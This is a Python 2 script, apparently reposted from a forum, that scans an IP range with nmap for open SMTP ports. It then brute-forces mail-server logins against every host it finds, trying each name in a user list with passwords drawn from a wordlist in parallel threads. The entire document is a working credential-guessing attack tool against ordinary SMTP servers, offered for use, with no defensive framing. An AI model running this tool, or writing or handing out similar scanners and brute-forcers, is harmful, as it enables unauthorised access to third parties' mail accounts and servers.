#!usr/bin/python
#Smtp Brute Forcer, searches ip_range for hosts using smtp.
#[Doar userii inregistrati pot vedea linkurile. ]
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, smtplib, re, socket
from smtplib import SMTP
from copy import copy

if len(sys.argv) !=4:
    print "Usage: ./smtpbrute_iprange.py <ip_range> <userlist> <wordlist>"
    sys.exit(1)

try:
      users = open(sys.argv[2], "r").readlines()
except(IOError):
      print "Error: Check your userlist path\n"
      sys.exit(1)

try:
      words = open(sys.argv[3], "r").readlines()
except(IOError):
      print "Error: Check your wordlist path\n"
      sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com smtpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

wordlist = copy(words)

def scan():

    iprange = sys.argv[1]
    ip_list = []

    nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 25 | grep open -B 3')[1]).readlines()

    for tmp in nmap:
        ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
        if ipaddr:
                ip_list.append(ipaddr[0])
    return ip_list

def reloader():
    for word in wordlist:
        words.append(word)

def getword():
    lock = threading.Lock()
    lock.acquire()
    if len(words) != 0:
        value = random.sample(words,  1)
        words.remove(value[0])

    else:
        reloader()
        value = random.sample(words,  1)

    lock.release()
    return value[0][:-1]

class Workhorse(threading.Thread):

    def run(self):
        value = getword()
        try:
            print "-"*12
            print "User:",user[:-1],"Password:",value
            smtp = smtplib.SMTP(ip)
            smtp.login(user[:-1], value)
            print "\t\nLogin successful:",user, value
            smtp.quit()
            work.join()
            sys.exit(2)
        except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:
            #print "An error occurred:", msg
            pass

ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
    print "\n\tAttempting BruteForce:",ip,"\n"
    try:
        helo = smtplib.SMTP(ip)
        print helo.helo(), "\n"
        helo.quit()
    except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
        print "Server doesn't support the Helo cmd"
    for user in users:
        for i in range(len(words)):
            if i == 0: reloader()
            work = Workhorse()
            work.start()
            time.sleep(2)